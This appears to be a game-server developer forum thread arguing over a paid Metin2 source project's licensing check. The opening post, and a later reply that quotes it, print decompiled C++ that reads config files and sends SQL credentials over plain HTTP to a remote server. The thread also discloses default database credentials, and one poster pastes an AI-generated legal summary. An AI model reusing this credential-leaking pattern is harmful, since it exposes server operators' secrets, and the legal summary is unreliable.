OWSAP's questionable practices

[b6d4a82c15 297]

OWSAP licensing system is sending your server configs including all SQL credentials to his remote server. Here is the licensing system stub decompiled, that proves it
 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ifaddrs.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <random>
#include <string>
#include <unistd.h>

int thecore_check() {
    sys_log(0, "[OSP] : Checking License...");

    // Read the license key from the LICENSE file
    char license_str[11] = {0};
    FILE *license_file = fopen("LICENSE", "r");
    if (!license_file) {
        sys_log(0, "[OSP] : Cannot open LICENSE file.\n");
        return 0;
    }
    fgets(license_str, sizeof(license_str), license_file);
    fclose(license_file);

    // Compare the license key with the stored admin key
    if (strcmp(license_str, c_strAdminKey.c_str()) == 0) {
        sys_log(0, "[OSP] : AUTHORIZED");
        return 1; // License is valid
    }

    // License did not match; proceed to get the external IP address
    struct ifaddrs *ifap = NULL;
    if (getifaddrs(&ifap)) {
        sys_log(0, "[OSP] : Failed to get network interfaces.\n");
        return 0;
    }

    char ip_address[16] = {0};
    struct ifaddrs *ifa = ifap;
    while (ifa) {
        if (ifa->ifa_addr && ifa->ifa_addr->sa_family == AF_INET) {
            struct sockaddr_in *sa = (struct sockaddr_in *)ifa->ifa_addr;
            if (sa->sin_addr.s_addr != htonl(INADDR_LOOPBACK)) { // Exclude localhost
                inet_ntop(AF_INET, &(sa->sin_addr), ip_address, sizeof(ip_address));
                break; // Found a valid external IP
            }
        }
        ifa = ifa->ifa_next;
    }
    freeifaddrs(ifap);

    // Read configuration from CONFIG file
    FILE *config_file = fopen("CONFIG", "r");
    if (!config_file) {
        sys_log(0, "[OSP] : Cannot open CONFIG file.\n");
        return 0;
    }

    std::string hostname;
    int channel = 0;
    int port = 0;
    int test_server = 0;
    std::string sql_user;
    std::string sql_password;

    char line[512];
    while (fgets(line, sizeof(line), config_file)) {
        char key[128], value[128];
        parse_token(line, key, value); // Assume parse_token splits line into key and value
        if (strcasecmp(key, "HOSTNAME") == 0) {
            hostname = value;
        } else if (strcasecmp(key, "CHANNEL") == 0) {
            channel = atoi(value);
        } else if (strcasecmp(key, "PORT") == 0) {
            port = atoi(value);
        } else if (strcasecmp(key, "TEST_SERVER") == 0) {
            test_server = atoi(value);
        } else if (strcasecmp(key, "COMMON_SQL") == 0) {
            // COMMON_SQL line format: COMMON_SQL user password
            char *token = strtok(value, " ");
            if (token) {
                sql_user = token;
                token = strtok(NULL, " ");
                if (token) {
                    sql_password = token;
                }
            }
        }
    }
    fclose(config_file);

    // Base64 encode SQL username and password
    std::string sql_user_base64 = base64_encode(sql_user);
    std::string sql_password_base64 = base64_encode(sql_password);

    // Generate a hash using the license string (up to 32 characters)
    std::string hash = license_str;
    if (hash.length() > 32) {
        hash = hash.substr(0, 32);
    }

    // Prepare the server information (assuming server_list is defined elsewhere)
    for (const ServerInfo& server : server_list) {
        // Construct the HTTP GET request
        char request[512];
        snprintf(request, sizeof(request),
            "GET %s?addr=%s&key=%s&hostname=%s&channel=%d&port=%d&test_server=%d&sqlu=%s&sqlp=%s&os=%s&hash=%s&server=%s HTTP/1.1\r\n"
            "Host: %s\r\n"
            "Connection: close\r\n"
            "\r\n",
            server.url.c_str(),
            ip_address,
            s_strKey.c_str(),
            hostname.c_str(),
            channel,
            port,
            test_server,
            sql_user_base64.c_str(),
            sql_password_base64.c_str(),
            "FREEBSD",
            hash.c_str(),
            server.name.c_str(),
            server.name.c_str()
        );

        // Connect to the server
        int sockfd = socket_connect(server.ip.c_str(), server.port);
        if (sockfd == -1) {
            continue; // Try the next server
        }

        // Send the request
        size_t request_len = strlen(request);
        if (write(sockfd, request, request_len) == -1) {
            close(sockfd);
            continue; // Try the next server
        }

        // Read the response
        char response[512];
        ssize_t nread = read(sockfd, response, sizeof(response) - 1);
        if (nread > 0) {
            response[nread] = '\0';

            // Check if the authorization string is present in the response
            if (strstr(response, "xxx")) {
                sys_log(0, "[OSP] : AUTHORIZED");
                close(sockfd);
                return 1; // Authorization successful
            }
        }
        close(sockfd);
    }

    // If none of the servers authorized the license
    sys_log(0, "[OSP] : UNAUTHORIZED");
    return 0;
}

I'd say more about his business practices but considering his position I'll just let him explain

[Owsap 14297]

Oh no! You caught me red handed! I never imagined someone would go to the trouble of creating a fake account just to decompile my library and poke around! Oopsie daisy! Now, of course, everyone must think I'm stealing my own customers passwords and information to sell on the black market! What a revelation!

Sarcasm aside, I have nothing to prove to you, it's just a real shame you came here trying to damage my image, you don't know nothing about my business and how I handle it so you shouldn't be trying to prove something you don't know about. I've seen about everything, this doesn't even surprise me anymore.

Its no secrete that I use a licensing system to verify who my legit customers are, this implies sending such information you saw in the query. It's ultimately the customers decision to read and accept my terms of service. For years, ever since I've provided such a project, this has always existed and there has never been any issues of trust from the customer nor the security of their data from my side.

This is simply a protection of what I've worked for years, it shows me who is trying to run my project with or without a valid license, which channel, core, port they're trying to run, if they're running a test or live server, from which operating system they're trying to run and if they're using the default credentials for the installation of the database files. What you're seeing in the query doesn't mean I'm doing something bad with that information, you don't know what I'm doing with it in the backend.

All the data passed in the query is simply for logging, analysis and for troubleshooting purposes and most of the data in query is send to work in conjunction with the users settings in his personal dashboard. All of this information has and will always will be safe and properly protected and by the way most of that decompiled code isn't accurate.

Edited January 13, 2025 by Owsap
Core X - External 2 Internal

[Khabib Nurmagomedov 388]

26 minutes ago, Owsap said:

Oh no! You caught me red handed! I never imagined someone would go to the trouble of creating a fake account just to decompile my library and poke around! Oopsie daisy! Now, of course, everyone must think I'm stealing my own customers passwords and information to sell on the black market! What a revelation!

Sarcasm aside, I have nothing to prove to you, it's just a real shame you came here with a fake account trying to damage my image, otherwise you wouldn't create such a fake account to try to prove something you don't know about right? I've seen about everything, this doesn't even surprise me anymore.

Its no secrete that I use a licensing system to verify who my legit customers are, this implies sending such information you saw in the query. It's ultimately the customers decision to read and accept my terms of service. For years, ever since I've provided such a project, this has always existed and there has never been any issues of trust from the customer nor the security of their data from my side.

This is simply a protection of what I've worked for years, it shows me who is trying to run my project with or without a valid license, which channel, core, port they're trying to run, if they're running a test or live server, from which operating system they're trying to run and if they're using the default credentials for the installation of the database files. What you're seeing in the query doesn't mean I'm doing something bad with that information, you don't know what I'm doing with it in the backend.

All the data passed in the query is simply for logging, analysis and for troubleshooting purposes and most of the data in query is send to work in conjunction with the users settings in his personal dashboard. All of this information has and will always will be safe and properly protected and by the way most of that decompiled code isn't accurate.

I understand the need to keep logs to prevent unfaithful customers and to debug license-related issues. However, why is storing their MySQL data even a thing? How does that, in any way, align with those objectives? Why would someone even want to do that -- other than the obvious reason of going rogue after people who avoid using the license to cause harm (not saying you would)? But still, that in itself is hypocritical, considering that licensing an illegal piece of code is absurd in the first place.

Edited January 13, 2025 by FrenchForeignLegion

[Owsap 14297]

1 minute ago, FrenchForeignLegion said:

I understand the need to keep logs to prevent unfaithful customers and to debug license-related issues. However, why is storing their MySQL data even a thing? How does that, in any way, align with those objectives?

It's non of your business, you only show up when my name is involved so I despise people like you.

[Khabib Nurmagomedov 388]

7 minutes ago, Owsap said:

It's non of your business, you only show up when my name is involved so I despise people like you.

Trying to force someone to use a license after they've paid $800 for a source code you don’t even hold the rights to is pure hypocrisy. If you don’t own the rights, what authority do you have to enforce a license in the first place? Especially collect mysql data for "data analysis", lmfao. You are acting as if the whole v6 isn't passed around and the license takes 5 minutes within IDA and 3 other to be removed, you're showing signs of schizophrenia thinking that no one will share it. Its in my PC right now, i could give a fuck more or less about this forum and post it here, its not your work, its the work of YMIR and Webzen. Have you considered explaining yourself for stealing code from @ Mali's multilanguage at all? - Or do you want me to post the whole part where it is copied and you will certainly bitch about it as if i leaked code you did not write?

Edited January 13, 2025 by FrenchForeignLegion

[Owsap 14297]

30 minutes ago, FrenchForeignLegion said:

Trying to force someone to use a license after they've paid $800 for a source code you don’t even hold the rights to is pure hypocrisy. If you don’t own the rights, what authority do you have to enforce a license in the first place? Especially collect mysql data for "data analysis", lmfao.

I'm not forcing anyone on nothing and I can add whatever I want and please, it's the customers decision to accept or not, like I said it's non of your business and please, spare me, don't start the bullshit, neither do you or anyone here have rights of any material of Metin2. I already explained the purpose of the license system I'm not going to repat myself to ignorant people like you.

Edited January 13, 2025 by Owsap

[Khabib Nurmagomedov 388]

Just now, Owsap said:

I'm not forcing anyone on nothing and I can add whatever I want and please, it's the customers decision to accept or not, like I said it's non of your business and please, spare me, don't start the bullshit, neither do you or anyone here have rights of any material of Metin2. I already explained the purpose of the license system I'm not going to repat myself to ignore people like you.

Will you keep avoiding to reply to the whole message? Like to the most important parts? I'll paste it again since you seem to do so.

"Trying to force someone to use a license after they've paid $800 for a source code you don’t even hold the rights to is pure hypocrisy. If you don’t own the rights, what authority do you have to enforce a license in the first place? Especially collect mysql data for "data analysis", lmfao. You are acting as if the whole v6 isn't passed around and the license takes 5 minutes within IDA and 3 other to be removed, you're showing signs of schizophrenia thinking that no one will share it. Its in my PC right now, i could give a fuck more or less about this forum and post it here, its not your work, its the work of YMIR and Webzen. Have you considered explaining yourself for stealing code from @ Mali 's multilanguage at all? - Or do you want me to post the whole part where it is copied and you will certainly bitch about it as if i leaked code you did not write?"

[Owsap 14297]

57 minutes ago, FrenchForeignLegion said:

Will you keep avoiding to reply to the whole message? Like to the most important parts? I'll paste it again since you seem to do so.

You edited your message.

Quote

You are acting as if the whole v6 isn't passed around and the license takes 5 minutes within IDA and 3 other to be removed, you're showing signs of schizophrenia thinking that no one will share it. Its in my PC right now, i could give a fuck more or less about this forum and post it here

You don't even need IDA or anything to remove the verification lol, unbelievable, this is too funny already. You think I don't know who are the idiots that like to pass my work around? Like I said, I despise people like you that only come here when my name is mentioned because all you want to do is put me down but you don't have nothing to prove. I don't care if you have my files on your PC or not, I honestly wouldn't be surprised that you already pass them around or even sell them, I know exactly which version you have of my files, you must think I'm living under a rock or something, your only luck is that you find stupid people that don't value other peoples work and end up with things that you don't deserve to have.

The license system isn't even a big deal, all you need is a key (which is lifetime) and add your server address on the dashboard of the project. When you start the server, the information is sent to my remote server to validate that address and information you added on the dashboard. Even if a customer breaks the rules and gets banned from my project he can remove the verification and use it freely. Such drama for no reason, all its purpose is for logging legit customers and troubleshoot if there are any issues, I've already explained what everything is for on my first reply.

Quote

its not your work, its the work of YMIR and Webzen

What do you know about work? You don't know shit about what you're talking about, you don't know what I've contributed and worked all these years for. Despite touching intelectual material, it doesn't remove the fact that it is still my time invested and work involved. Neither do you, me or anyone here that creates systems, assets or whatever the fuck that directly comply with Metin2 have rights over. We still need to credit and value the people who contribute and make what private servers are today. You're just too ignorant to see understand that. If I worked years on something I would like to protected it somehow even if it's not 100% possible, it's still better having something than nothing, that's why I created that license system. I don't understand why you target me on such things.

@ martysama0134 (sorry for mention) also doesn't have the rights to Metin2, but it's okay for him to sell the source code, why isn't he mentioned?
Other developers here like @ Mali (sorry for mention) that creates systems that directly touch Metin2 functions, it's still okay for them to sell their systems and have the rights too sell it? No, but it's still they're work.
You see, don't talk about Metin2 rights because it's irrelevante in this community.

Quote

Have you considered explaining yourself for stealing code from @ Mali 's multilanguage at all? - Or do you want me to post the whole part where it is copied and you will certainly bitch about it as if i leaked code you did not write?

I haven't stole any code from @ Mali, all the systems that is on my files from him are shared publicly and he knows that all the credits are mentioned. I did my own research and reversed the remaining code of the official's multi-language system and added country flags to it, I don't know why you think I copied from him, I think your possessed with me or something, share the code I don't mind. This is not the first time people say I copy from him.

 

I'm not stealing my customers details, I'm not reselling, I'm not stealing code, I'm not forcing anyone to buy my stuff, give me a fucking break. If I bother you that much or my work, leave me alone. If you have any real evidence that I'm the above then open a ticket or enter in contact with the administration team. I'm tired of saying this, but you won't do this because all you want to do is hurt my image. Keep going.

Edited January 13, 2025 by Owsap

[Denizeri24 43]

Edited January 13, 2025 by Metin2 Dev International
Core X - External 2 Internal

[cris690 1]

4 hours ago, b6d4a82c15 said:

OWSAP licensing system is sending your server configs including all SQL credentials to his remote server. Here is the licensing system stub decompiled, that proves it
 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ifaddrs.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <random>
#include <string>
#include <unistd.h>

int thecore_check() {
    sys_log(0, "[OSP] : Checking License...");

    // Read the license key from the LICENSE file
    char license_str[11] = {0};
    FILE *license_file = fopen("LICENSE", "r");
    if (!license_file) {
        sys_log(0, "[OSP] : Cannot open LICENSE file.\n");
        return 0;
    }
    fgets(license_str, sizeof(license_str), license_file);
    fclose(license_file);

    // Compare the license key with the stored admin key
    if (strcmp(license_str, c_strAdminKey.c_str()) == 0) {
        sys_log(0, "[OSP] : AUTHORIZED");
        return 1; // License is valid
    }

    // License did not match; proceed to get the external IP address
    struct ifaddrs *ifap = NULL;
    if (getifaddrs(&ifap)) {
        sys_log(0, "[OSP] : Failed to get network interfaces.\n");
        return 0;
    }

    char ip_address[16] = {0};
    struct ifaddrs *ifa = ifap;
    while (ifa) {
        if (ifa->ifa_addr && ifa->ifa_addr->sa_family == AF_INET) {
            struct sockaddr_in *sa = (struct sockaddr_in *)ifa->ifa_addr;
            if (sa->sin_addr.s_addr != htonl(INADDR_LOOPBACK)) { // Exclude localhost
                inet_ntop(AF_INET, &(sa->sin_addr), ip_address, sizeof(ip_address));
                break; // Found a valid external IP
            }
        }
        ifa = ifa->ifa_next;
    }
    freeifaddrs(ifap);

    // Read configuration from CONFIG file
    FILE *config_file = fopen("CONFIG", "r");
    if (!config_file) {
        sys_log(0, "[OSP] : Cannot open CONFIG file.\n");
        return 0;
    }

    std::string hostname;
    int channel = 0;
    int port = 0;
    int test_server = 0;
    std::string sql_user;
    std::string sql_password;

    char line[512];
    while (fgets(line, sizeof(line), config_file)) {
        char key[128], value[128];
        parse_token(line, key, value); // Assume parse_token splits line into key and value
        if (strcasecmp(key, "HOSTNAME") == 0) {
            hostname = value;
        } else if (strcasecmp(key, "CHANNEL") == 0) {
            channel = atoi(value);
        } else if (strcasecmp(key, "PORT") == 0) {
            port = atoi(value);
        } else if (strcasecmp(key, "TEST_SERVER") == 0) {
            test_server = atoi(value);
        } else if (strcasecmp(key, "COMMON_SQL") == 0) {
            // COMMON_SQL line format: COMMON_SQL user password
            char *token = strtok(value, " ");
            if (token) {
                sql_user = token;
                token = strtok(NULL, " ");
                if (token) {
                    sql_password = token;
                }
            }
        }
    }
    fclose(config_file);

    // Base64 encode SQL username and password
    std::string sql_user_base64 = base64_encode(sql_user);
    std::string sql_password_base64 = base64_encode(sql_password);

    // Generate a hash using the license string (up to 32 characters)
    std::string hash = license_str;
    if (hash.length() > 32) {
        hash = hash.substr(0, 32);
    }

    // Prepare the server information (assuming server_list is defined elsewhere)
    for (const ServerInfo& server : server_list) {
        // Construct the HTTP GET request
        char request[512];
        snprintf(request, sizeof(request),
            "GET %s?addr=%s&key=%s&hostname=%s&channel=%d&port=%d&test_server=%d&sqlu=%s&sqlp=%s&os=%s&hash=%s&server=%s HTTP/1.1\r\n"
            "Host: %s\r\n"
            "Connection: close\r\n"
            "\r\n",
            server.url.c_str(),
            ip_address,
            s_strKey.c_str(),
            hostname.c_str(),
            channel,
            port,
            test_server,
            sql_user_base64.c_str(),
            sql_password_base64.c_str(),
            "FREEBSD",
            hash.c_str(),
            server.name.c_str(),
            server.name.c_str()
        );

        // Connect to the server
        int sockfd = socket_connect(server.ip.c_str(), server.port);
        if (sockfd == -1) {
            continue; // Try the next server
        }

        // Send the request
        size_t request_len = strlen(request);
        if (write(sockfd, request, request_len) == -1) {
            close(sockfd);
            continue; // Try the next server
        }

        // Read the response
        char response[512];
        ssize_t nread = read(sockfd, response, sizeof(response) - 1);
        if (nread > 0) {
            response[nread] = '\0';

            // Check if the authorization string is present in the response
            if (strstr(response, "xxx")) {
                sys_log(0, "[OSP] : AUTHORIZED");
                close(sockfd);
                return 1; // Authorization successful
            }
        }
        close(sockfd);
    }

    // If none of the servers authorized the license
    sys_log(0, "[OSP] : UNAUTHORIZED");
    return 0;
}

I'd say more about his business practices but considering his position I'll just let him explain

[PeaceMaker 143]

Genuine question, what kind of systems are you selling that requires a license?

[Owsap 14297]

16 minutes ago, PeaceMaker said:

Genuine question, what kind of systems are you selling that requires a license?

None, if you don't read why bother commenting? What's the problem any way in adding a license to a system?

Edited January 13, 2025 by Owsap

[X E N O N 13]

I'm not here to argue for one or the other, I simply believe that if you put your customers in front of a choice, and you are transparent in proposing your constraints, and the customers accept well... Then there is little to discuss.

As long as what we see in this thread is clear as day for OWSAP customers themselves, I don't see why it shouldn't be fine for those who are not its customers.

I'm not arguing for one or the other as I already said, but I think we should all be more objective in judging.

That applying a license to a source code from 2024 if we are talking about Metin2 especially, is completely useless as it can be By-passed in less than half an hour, that's another matter.

[Owsap 14297]

2 hours ago, X E N O N said:

I'm not here to argue for one or the other, I simply believe that if you put your customers in front of a choice, and you are transparent in proposing your constraints, and the customers accept well... Then there is little to discuss.

As long as what we see in this thread is clear as day for OWSAP customers themselves, I don't see why it shouldn't be fine for those who are not its customers.

I'm not arguing for one or the other as I already said, but I think we should all be more objective in judging.

That applying a license to a source code from 2024 if we are talking about Metin2 especially, is completely useless as it can be By-passed in less than half an hour, that's another matter.

I have been running my project this way for a long time, and removing something that has been an integral part of it since the beginning would be counterproductive. Besides, I've built the user dashboard around it (as I explained from the "dissembled code" from the topic author), making the experience for the members more professional. You can feel questionable about it and ask why and for what but I don't feel the need to explain how I manage my project or run my business to anyone.

If any of my customers have a question about how I treat their data I will tell them with transparency because I respect their data. Besides, I've already explained here what it's all about. Regardless, everyone has their own way of doing things, I just do mine differently but I truly don't understand what's the problem with it. It's hard to believe that people would think I'd charge a premium price for my project that I constantly work on and update to only misuse their data, even if they disrespected my rules, it doesn't make sense to me.

Quote

That applying a license to a source code from 2024 if we are talking about Metin2 especially, is completely useless as it can be By-passed in less than half an hour, that's another matter.

While it's true that the license system can be bypassed, doing so clearly demonstrates a lack of compliance with my rules. By taking such an action, you effectively reject my terms of service and I will eventually notice this. Without it, I wouldn't have such a clue of anything going on. I take this very seriously, and the only thing I ask and expect from new members/customers of my project is to respect my work and help keep their investment secure, ensuring it doesn't fall into the wrong hands. Respecting the rules means allowing the license system to perform its intended purpose.

It's not doing anything harmful, on the contrary, it ensures that everyone uses my project correctly and fairly. I can completely understand how it might seem strange and suspicious to see this information in this thread for the first time, but it's not what it seems, it's simply information to check who are legitimate customers and ensure compliance with my terms of service. When a server is started, the following information is sent to my remote server via HTTP request:

• addr - The machines IP address.
• key - The unique license key assigned to the member.
• hostname - Hostname of the game being executed, this will show which core is trying to execute, if provided in the hostname.
• channel - Game channel that is being executed.
• sqlu, sqlp - Encrypted SQL Credentials, used only to ensure correct setup and synchronization of the database files, never stored or used for any other purpose!
  • The credentials are the default "localhost", "mt2", "mt2!@#", which need to be exactly the same in order to install and operate the server's database. Now, even if I or anyone wanted to access this remotely, it would not be possible because the database user is configured to only allow connections from localhost. This setup is recommended for security purposes and has always been configured this way.
• os - The operating system version, this helps me to know if the members is running a server on Windows or FreeBSD.
• hash - A hash of specific parameters, used to validate data integrity.
• server - The remove server address to process the HTTP request.

This data is used exclusively to verify the license key and update the members dashboard profile to reflect any anomalies or configuration issues.

Which data is actually stored in my remote server database?

Spoiler

 

 

I can confidently say that none of my serious customers who truly value my work engage in such behavior because they know I am not a fraud. I always do my best to bring value to them. The issues has been always been coming from "haters" or people upset over past events with me, trying to prove something that isn't true or make others believe I'm doing something wrong. That's simply my perspective, and ultimately, the truth...

Edited January 14, 2025 by Owsap

[DemOnJR 1215]

There is nothing "questionable" about it, every Metin2 owner does this by keeping track of everything, including every piece of players' hardware.

From what I have read so far, the MySQL data in the GET request is used to install the database (by fetching/executing SQL commands from the OWASP API) after if you change the user and password it will not match anymore with owsap hashed values, by doing this it also works as an license without MySQL there is no running server.

One issue for @ Owsap and not for his customers, however, is that having the license and log in the same place is not ideal.
It allows anyone to spam that URL with GET requests using fake (or even the real one of the customers servers) IPs and other data, rendering it useless for you to read.
You should add an option, enabled by default, that allows users who don’t want to be logged to disable this functionality making the log more transparently and leaving the license doing his job separately or not at all your decision, just an personal point of view.

[Koray 3325]

11 hours ago, Owsap said:

 

... It's ultimately the customers decision to read and accept my terms of service. For years, ever since I've provided such a project, this has always existed and there has never been any issues of trust from the customer nor the security of their data from my side.

is the backdoor you added something that is within the knowledge/decision of the users, like the licensing system mentioned? does this fall under the TOS as well? for example does it fall within their "decision" to simply shutdown or damage a client's game channels?

[Khabib Nurmagomedov 388]

16 minutes ago, Koray said:

is the backdoor you added something that is within the knowledge/decision of the users, like the licensing system mentioned? does this fall under the TOS as well? for example does it fall within their "decision" to simply shutdown or damage a client's game channels?

https://metin2.download/video/Ep5I3cgll8p3821b5JgFQS0tc1Y013ZW/.mp4

It's painfully obvious that he doesn't mention that at all, and he's well known for being a pathological liar. He's trying to tell me he didn't take code out of Mali's multilanguage and reversed it himself, when his RE knowledge is practically nonexistent. This is the same guy who couldn't fix a Hydra crash for more than six months. Something that took a max of 15 minutes.

He will probably update the ToS after this which is going to be funny.

Edited January 14, 2025 by FrenchForeignLegion
Core X - External 2 Internal

[b6d4a82c15 297]

17 hours ago, Owsap said:

It's non of your business, you only show up when my name is involved so I despise people like you.

Lmao so you basically said whole lot of nothing as per usual. At least you didnt ignore me this time =DD

This licensing system that you made is the most idiotic I've ever seen. A monkey could decompile and bypass it. There's no justification for streaming SQL credentials from your clients that paid for your bootleg patches and fixes. You have an ego problem and you're the only one who came up with a brilliant idea of putting a DRM on your svfiles. Martysama doesn't do that because it's really unnecessary and won't help much in the end.

[Amun 3223]

Having a license and stopping the service if the terms are broken is one thing, stealing data(from both the genuine and the ones that use the cracked one) is another thing.

If anyone's got a few k Eur on the side and wants to have some fun, here, freshly baked by ChatGPT:

Relevant Laws in Portugal:
1. Unauthorized Access to Computer Systems (Código Penal Português, Art. 6 e Art. 7)
In Portugal, unauthorized access to computer systems is classified as "crime informático" (cybercrime) under the Portuguese Penal Code (Código Penal).

The relevant law is Article 6 of Law No. 109/2009, which establishes criminal liability for unauthorized access and interference in computer systems.

Penalty:
Up to 5 years of imprisonment or a heavy fine.
Higher penalties apply if the access leads to data theft or is done with malicious intent.
2. Data Theft (Lei de Proteção de Dados Pessoais - GDPR)
Portugal follows the EU GDPR regulations, which apply strict penalties for data theft or the unauthorized handling of personal information.

Penalty under GDPR:
Fines up to €20 million or 4% of global turnover.
Portuguese Comissão Nacional de Proteção de Dados (CNPD) is responsible for enforcing GDPR in Portugal.
3. Fraud (Código Penal Português, Art. 217)
Selling a source with a hidden backdoor is a form of fraud, defined under Article 217 of the Portuguese Penal Code as "burla informática" (computer fraud).

Penalty:
Up to 3 years of imprisonment or a fine.
Higher penalties apply if the fraud is conducted through electronic means.
4. Copyright Infringement (Código do Direito de Autor e dos Direitos Conexos)
The unauthorized sale of Metin2's source code constitutes copyright infringement under Portuguese Copyright Law (Law No. 50/2004).

Penalty:
Up to 3 years of imprisonment.
Fines up to €30,000.
Where to Report This in Portugal:
1. Polícia Judiciária (PJ) - Unidade Nacional de Combate ao Cibercrime e à Criminalidade Tecnológica (UNC3T)
The Portuguese Judiciary Police (Polícia Judiciária) has a specialized unit for cybercrime.

Website: https://www.policiajudiciaria.pt
Contact:
Email: [email protected]
Phone: +351 21 723 3337
2. Comissão Nacional de Proteção de Dados (CNPD)
Since GDPR violations are involved, you can also report this to the CNPD.

Website: https://www.cnpd.pt
Email: [email protected]
Phone: +351 213 928 400
3. Europol
Because this crime affects cross-border victims, you can report it to Europol’s European Cybercrime Centre (EC3).

Website: https://www.europol.europa.eu
Report form: https://www.europol.europa.eu/report-crime
Steps to Protect Yourself:
Gather Evidence:

Save all communication (emails, messages, payment details).
Document any suspicious behavior in the code.
Report to Authorities:

Portuguese Polícia Judiciária (UNC3T).
CNPD for GDPR-related violations.
Europol EC3 for cross-border cybercrime.
Notify Gameforge Legal Department:
Since Gameforge owns Metin2, they should be made aware of the situation.

Go have fun, you crazy boys

[b6d4a82c15 297]

11 hours ago, Owsap said:

 

 

• hostname - Hostname of the game being executed, this will show which core is trying to execute, if provided in the hostname.
• channel - Game channel that is being executed.
• sqlu, sqlp - Encrypted SQL Credentials, used only to ensure correct setup and synchronization of the database files, never stored or used for any other purpose!
  • The credentials are the default "localhost", "mt2", "mt2!@#", which need to be exactly the same in order to install and operate the server's database. Now, even if I or anyone wanted to access this remotely, it would not be possible because the database user is configured to only allow connections from localhost. This setup is recommended for security purposes and has always been configured this way.
• os - The operating system version, this helps me to know if the members is running a server on Windows or FreeBSD.
• hash - A hash of specific parameters, used to validate data integrity.
• server - The remove server address to process the HTTP request.

This data is used exclusively to verify the license key and update the members dashboard profile to reflect any anomalies or configuration issues.

Which data is actually stored in my remote server database?

  Reveal hidden contents

 

 

I can confidently say that none of my serious customers who truly value my work engage in such behavior because they know I am not a fraud. I always do my best to bring value to them. The issues has been always been coming from "haters" or people upset over past events with me, trying to prove something that isn't true or make others believe I'm doing something wrong. That's simply my perspective, and ultimately, the truth...

First off base64 isn't encryption. Secondly, if someone changes these or opens their SQL server port to the internet - which is totally valid and some people do that for whatever reason - this becomes false. Not to mention a total lack of privacy but whatever

[xFallen 0]

I don't mean to be rude, and I'm not one to judge, but this is illegal in many ways. I'm sorry, you might write a huge paragraph about how your company works and how we don't understand it, but you are breaking the law and you were caught. Perhaps instead of attacking us and trying to justify your actions, you could explain why you felt it was a good thing to do initially. Then, you could say that you will be changing it for those who feel uncomfortable keeping it, and explain how to remove it after they have proof of purchase from you. You are engaging in bad business practices, and sadly, you won't admit you were wrong. That will be your downfall and on off that how are you saying removing it  ? your breaking terms of service when you haven't admitted to anyone your doing so in another way nobody can know your signing up to this as you haven't informed nobody of it another broken law on your behalf. 

Edited January 14, 2025 by xFallen
added more

[Owsap 14297]

I honestly don't understand all these accusations, especially when there's no concrete proof to support them. I've explained how my license system works, detailed the purpose of the HTTP request, and even shown my database logs to prove that I don’t store any SQL credentials. Honestly, why would I even want to store those in the first place?

Despite all this, you still choose not to believe me. It's clear you've already made up your mind, assuming I'm doing something wrong.

What's most frustrating is that no actual customers of mine have raised these concerns, only people who don't work with me seem to be making these complaints. So many developers here have already added license systems to their work without facing such criticism. Why am I being singled out?

I have always responded to accusations against me and made every effort to prove otherwise. I've never ignored any claims, because doing so would suggest indifference to my reputation and I care deeply about it. Someone who values their reputation doesn't act in ways that would harm it. Everything I do I always think both sides of it to prevent such problems but it seems that whatever I do there will always be such criticism. 

However, no matter how much I try to defend myself or provide evidence, people still assume I'm lying or a being a manipulator. It feels like my efforts to preserve my reputation are disregarded entirely.

I've done everything I can to explain and prove my point, yet it seems usless. I really don't know what you want from me.

[X E N O N 13]

Privacy-related issues are always sensitive, as they should be.

The only flaw, perhaps, might be that it was not made 100% clear when presenting the matter in a preventive manner. I suppose if everything had been brought to light initially, none of this would have happened. Regarding the fact that customers do not complain, it must be clearly stated that 99.9% of customers who turn to a development service do not have the skills to evaluate certain contexts and/or discover them. Most of them are young people who dream of opening a P.Server of Metin2, and at least 50% of those who turn to a development service probably will never actually see their project completed and presented to the public. All this is to say that those who did not complain about this data processing approach - whatever the reason - are mostly unaware of what really happens behind the dark meanders of the FileServer.

This, of course, is not an attack on OWSAP's personality nor a stance in favor or against them, but merely an observation based on what has been said so far.

Personally, if I found myself in the position of being a customer of this individual, I would certainly present doubts and/or complaints at first, but at the same time, I would feel confident in the developer based on the relationship established during my experience.

Judge, everything here is relative.

Can OWSAP be trusted, or not?
Are we really convinced that all this can be harmful to customers, or can we deduce that these are indeed precautions taken by the developer to offer better support and a better experience for the customers?

If all this had been done by more authoritative users, without naming names as it would not be appropriate, would we still be here commenting on all this, embodying doubts about the veracity of the intentions?

The floor is yours.

[Owsap 14297]

The purpose of the license system is straightforward, like any license verification system, it transmits the essential information needed to verify the legitimacy of those who have purchased my services. Does it help? Yes, to some extent, it helps in maintaining control, though it does not completely prevent misuse or bypassing and I understand that it can be useless to some but as I said before it helps detecting who uses my project fairly.

I believe everyone who has purchased my project is aware of this licensing approach. While I may not explicitly specify on my terms which data is sent to my remote server, it should be clear to them what kind of information is involved. If I had anything to hide, I would have implemented the system differently. I am aware that my license system could have been decompiled and that the query it executes would be visible. However, I stand by the fact that it operates transparently and doesn't harm any of my customers or their servers.

Everything is open source except my license system so it is clearly visible to everyone who holds a copy of my project to see if there are any malicious code. Regardless, if my license system is perceived as problematic, I am willing to open a poll on its removal within my projects community.

If the majority agrees, I can remove it today through a simple and quick update. That being said, I want to reassure everyone that this system has never caused any harm to anyone or any server. To address concerns and accusations of dishonesty, I am willing to provide additional proof, even though I am not obligated to do so. Specifically, I can share the complete code of my license system, including its backend, with the forum administration for review so that people don't call me a liar.

[masodikbela 1752]

I really don't care about all this, just want to understand the logic behind all this, and one thing is not clear for me (sorry if it has been already answered I CBA reading all this yapping): If you only need the username/pw combo for verification, why is it not even hashed? If it would be hashed by the same algorithm every time it would be actually somewhat safe (depending on the algorithm) and the same input would always generate the same output.

Also another thing I just realized: (I don't want to comment on the practice of sending plain credentials its not my business) You basically use http if I'm not mistaken which basically means all the data you transport to your server even IF you really don't store it or use it or whatever, is actually anything but secure, as it travels through the internet anything can read it. Now that is something that is really concerning.

Edited January 14, 2025 by masodikbela